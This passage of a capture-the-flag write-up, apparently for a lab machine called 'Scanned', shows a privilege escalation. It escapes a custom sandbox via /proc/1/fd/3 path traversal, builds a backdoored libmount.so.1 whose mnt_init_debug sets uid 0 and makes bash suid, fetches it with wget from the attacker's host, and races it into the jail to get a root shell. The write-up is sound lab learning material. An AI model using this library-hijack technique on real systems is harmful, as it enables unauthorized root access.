        libblkid.so.1 => /lib/x86_64-linux-gnu/libblkid.so.1 (0x00007f0af73be000)
        libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f0af7392000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f0af7647000)
        libpcre2-8.so.0 => /lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x00007f0af72fa000)
        libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f0af72f4000)
        libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f0af72d0000)

To choose the one we want to backdoor we can run mount from within the sandbox and look at the error message to get the first library missing. To have an interactive process from where we can call mount one way is to run sandbox with /bin/sh

1
2
3
4
clarence@scanned:/var/www/malscanner/sandbox$ ./sandbox /bin/sh 1
$ /proc/1/fd/3/../../../../../../usr/bin/mount /dev/sda /tmp
/proc/1/fd/3/../../../../../../usr/bin/mount: error while loading shared libraries: libmount.so.1: cannot open shared object file: No such file or directory
$ Killed subprocess

Having identified the library to backdoor we now need to know all the functions inside it. To have better access to it we use scp to copy the library over to our machine.

1
2
3
$ scp clarence@10.129.160.252:/lib/x86_64-linux-gnu/libmount.so.1 .
clarence@10.129.160.252's password:
libmount.so.1                                                                                                                                                                                                100%  367KB 225.1KB/s   00:01$

Using objdump we can retrieve all the functions and with awk we can create a C source file calling each one of them. For the function call we will simply output which function got called so we know what to backdoor.

1
$ objdump -T libmount.so.1  | grep 'DF .text'  | awk -F' ' '{print"int " $7"() { puts(\""$7" got called !!\"); return 0; }"}' > evillib.c

Finally we also add the necessary header files at the top of the source code and compile it to a shared library.

evillib.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include "stdio.h"
#include "stdlib.h"

int mnt_context_prepare_mount() { puts("mnt_context_prepare_mount got called !!"); return 0; }
int mnt_context_syscall_called() { puts("mnt_context_syscall_called got called !!"); return 0; }
int mnt_table_set_trailing_comment() { puts("mnt_table_set_trailing_comment got called !!"); return 0; }
int mnt_context_get_target() { puts("mnt_context_get_target got called !!"); return 0; }
int mnt_fs_get_size() { puts("mnt_fs_get_size got called !!"); return 0; }
int mnt_table_get_trailing_comment() { puts("mnt_table_get_trailing_comment got called !!"); return 0; }
int mnt_get_fstype() { puts("mnt_get_fstype got called !!"); return 0; }
int mnt_resolve_spec() { puts("mnt_resolve_spec got called !!"); return 0; }

...[snip]...
	
int mnt_context_disable_mtab() { puts("mnt_context_disable_mtab got called !!"); return 0; }
int mnt_fs_get_target() { puts("mnt_fs_get_target got called !!"); return 0; }
int mnt_update_get_mflags() { puts("mnt_update_get_mflags got called !!"); return 0; }
int mnt_table_parse_swaps() { puts("mnt_table_parse_swaps got called !!"); return 0; }
int mnt_context_set_target_ns() { puts("mnt_context_set_target_ns got called !!"); return 0; }
int mnt_table_parse_stream() { puts("mnt_table_parse_stream got called !!"); return 0; }
int mnt_update_get_filename() { puts("mnt_update_get_filename got called !!"); return 0; }
int mnt_table_last_fs() { puts("mnt_table_last_fs got called !!"); return 0; }
int mnt_split_optstr() { puts("mnt_split_optstr got called !!"); return 0; }
int mnt_context_get_fstype() { puts("mnt_context_get_fstype got called !!"); return 0; }
1
$ gcc -shared -fPIC -o evillib.so evillib.c

Next we transfer it over to the machine and prepare the command to execute in sh to just paste it later since we are dealing with a limited timeframe.

1
2
3
4
5
6
7
8
9
10
clarence@scanned:/var/www/malscanner/sandbox$ wget 10.10.14.75:8000/evillib.so -O /tmp/evillib.so
--2022-02-02 20:41:40--  http://10.10.14.75:8000/evillib.so
Connecting to 10.10.14.75:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 69752 (68K) [application/octet-stream]
Saving to: ‘/tmp/evillib.so’

/tmp/evillib.so                                             100%[==========================================================================================================================================>]  68.12K  --.-KB/s    in 0.09s

2022-02-02 20:41:40 (755 KB/s) - ‘/tmp/evillib.so’ saved [69752/69752]

For the execution we open up another ssh session where we will prepare the copying of the bad library. First we create a variable to hold the uuid for our jail. We do this to keep track which jail names are already blocked currently. Next is a sleep command so we can start the sandbox during the sleep and then the backdoored library gets copied into the created jail.

1
clarence@scanned:/var/www/malscanner/sandbox$ UNIQUE=1; sleep 2; cp /tmp/evillib.so /var/www/malscanner/sandbox/jails/$UNIQUE/lib/libmount.so.1

After we start the command with the sleep we run /bin/sh inside sandbox on our other ssh session specifying the same uuid.

1
2
clarence@scanned:/var/www/malscanner/sandbox$ ./sandbox /bin/sh 1
$

Once the copy command finishes we run our prepared mount command inside the sandbox’s /bin/sh. There are some errors about no version information being available but at the end of the output we see that mnt_init_debug and mnt_new_context got called by mount.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ /proc/1/fd/3/../../../../../../usr/bin/mount /dev/sda /tmp
/proc/1/fd/3/../../../../../../usr/bin/mount: /lib/libmount.so.1: no version information available (required by /proc/1/fd/3/../../../../../../usr/bin/mount)
/proc/1/fd/3/../../../../../../usr/bin/mount: /lib/libmount.so.1: no version information available (required by /proc/1/fd/3/../../../../../../usr/bin/mount)
/proc/1/fd/3/../../../../../../usr/bin/mount: /lib/libmount.so.1: no version information available (required by /proc/1/fd/3/../../../../../../usr/bin/mount)
/proc/1/fd/3/../../../../../../usr/bin/mount: /lib/libmount.so.1: no version information available (required by /proc/1/fd/3/../../../../../../usr/bin/mount)
/proc/1/fd/3/../../../../../../usr/bin/mount: /lib/libmount.so.1: no version information available (required by /proc/1/fd/3/../../../../../../usr/bin/mount)
/proc/1/fd/3/../../../../../../usr/bin/mount: /lib/libmount.so.1: no version information available (required by /proc/1/fd/3/../../../../../../usr/bin/mount)
/proc/1/fd/3/../../../../../../usr/bin/mount: /lib/libmount.so.1: no version information available (required by /proc/1/fd/3/../../../../../../usr/bin/mount)
/proc/1/fd/3/../../../../../../usr/bin/mount: /lib/libmount.so.1: no version information available (required by /proc/1/fd/3/../../../../../../usr/bin/mount)
/proc/1/fd/3/../../../../../../usr/bin/mount: /lib/libmount.so.1: no version information available (required by /proc/1/fd/3/../../../../../../usr/bin/mount)
/proc/1/fd/3/../../../../../../usr/bin/mount: /lib/libmount.so.1: no version information available (required by /proc/1/fd/3/../../../../../../usr/bin/mount)
mnt_init_debug got called !!
mnt_new_context got called !!
mount: libmount context allocation failed: Success
$ Killed subprocess
Exited

Since mnt_init_debug got called first we will choose this function to run our code. All it does is set the uid to 0, confirms it got set and the gives bash the suid bit on the system.

1
2
3
4
5
6
7
8
9
#include "stdio.h"
#include "stdlib.h"

...[snip]...
	
int mnt_init_debug() { puts("mnt_init_debug got called !!"); setuid(0); printf("uid %d\n", getuid()); system("/proc/1/fd/3/../../../../../../usr/bin/chmod +s /proc/1/fd/3/../../../../../../bin/bash"); return 0; }

...[snip]...
	

Now all we have to do is perform the steps from before. First we compile the library again and transfer it over to the target.

1
2
3
4
5
6
7
gcc -shared -fPIC -o evillib.so evillib.c
evillib.c: In function ‘mnt_init_debug’:
evillib.c:19:62: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
   19 | int mnt_init_debug() { puts("mnt_init_debug got called !!"); setuid(0); printf("uid %d\n", getuid()); system("/proc/1/fd/3/../../../../../../usr/bin/chmod +s /proc/1/fd/3/../../../../../../bin/bash"); return 0; }
      |                                                              ^~~~~~
evillib.c:19:92: warning: implicit declaration of function ‘getuid’ [-Wimplicit-function-declaration]
   19 | int mnt_init_debug() { puts("mnt_init_debug got called !!"); setuid(0); printf("uid %d\n", getuid()); system("/proc/1/fd/3/../../../../../../usr/bin/chmod +s /proc/1/fd/3/../../../../../../bin/bash"); return 0; }
1
2
3
4
5
6
7
8
9
10
11
clarence@scanned:/var/www/malscanner/sandbox$ rm /tmp/evillib.so
clarence@scanned:/var/www/malscanner/sandbox$ wget 10.10.14.75:8000/evillib.so -O /tmp/evillib.so
--2022-02-02 20:47:30--  http://10.10.14.75:8000/evillib.so
Connecting to 10.10.14.75:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 69960 (68K) [application/octet-stream]
Saving to: ‘/tmp/evillib.so’

/tmp/evillib.so                                             100%[==========================================================================================================================================>]  68.32K  --.-KB/s    in 0.09s

2022-02-02 20:47:30 (754 KB/s) - ‘/tmp/evillib.so’ saved [69960/69960]

We increment our uuid value so sandbox does not exit because the jail name exits. Then we run the sleep command first again and start /bin/sh in the sandbox with the incremented uuid.

1
clarence@scanned:/var/www/malscanner/sandbox$ UNIQUE=2; sleep 2; cp /tmp/evillib.so /var/www/malscanner/sandbox/jails/$UNIQUE/lib/libmount.so.1

Like before we run our prepared mount statement inside the sandbox again after the copy command finished. In the output we can see that the uid of the process running our function is now 0, indicating our backdoored code got executed successfully.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
clarence@scanned:/var/www/malscanner/sandbox$ ./sandbox /bin/sh 2
$ /proc/1/fd/3/../../../../../../usr/bin/mount /dev/sda /tmp
/proc/1/fd/3/../../../../../../usr/bin/mount: /lib/libmount.so.1: no version information available (required by /proc/1/fd/3/../../../../../../usr/bin/mount)
/proc/1/fd/3/../../../../../../usr/bin/mount: /lib/libmount.so.1: no version information available (required by /proc/1/fd/3/../../../../../../usr/bin/mount)
/proc/1/fd/3/../../../../../../usr/bin/mount: /lib/libmount.so.1: no version information available (required by /proc/1/fd/3/../../../../../../usr/bin/mount)
/proc/1/fd/3/../../../../../../usr/bin/mount: /lib/libmount.so.1: no version information available (required by /proc/1/fd/3/../../../../../../usr/bin/mount)
/proc/1/fd/3/../../../../../../usr/bin/mount: /lib/libmount.so.1: no version information available (required by /proc/1/fd/3/../../../../../../usr/bin/mount)
/proc/1/fd/3/../../../../../../usr/bin/mount: /lib/libmount.so.1: no version information available (required by /proc/1/fd/3/../../../../../../usr/bin/mount)
/proc/1/fd/3/../../../../../../usr/bin/mount: /lib/libmount.so.1: no version information available (required by /proc/1/fd/3/../../../../../../usr/bin/mount)
/proc/1/fd/3/../../../../../../usr/bin/mount: /lib/libmount.so.1: no version information available (required by /proc/1/fd/3/../../../../../../usr/bin/mount)
/proc/1/fd/3/../../../../../../usr/bin/mount: /lib/libmount.so.1: no version information available (required by /proc/1/fd/3/../../../../../../usr/bin/mount)
/proc/1/fd/3/../../../../../../usr/bin/mount: /lib/libmount.so.1: no version information available (required by /proc/1/fd/3/../../../../../../usr/bin/mount)
mnt_init_debug got called !!
uid 0
mnt_new_context got called !!
mount: libmount context allocation failed: Success
$ Killed subprocess
Exited

Now we can simply drop into a root bash shell and add the root flag to our collection.

1
2
3
clarence@scanned:/var/www/malscanner/sandbox$ bash -p
bash-5.1# wc -c /root/root.txt
33 /root/root.txt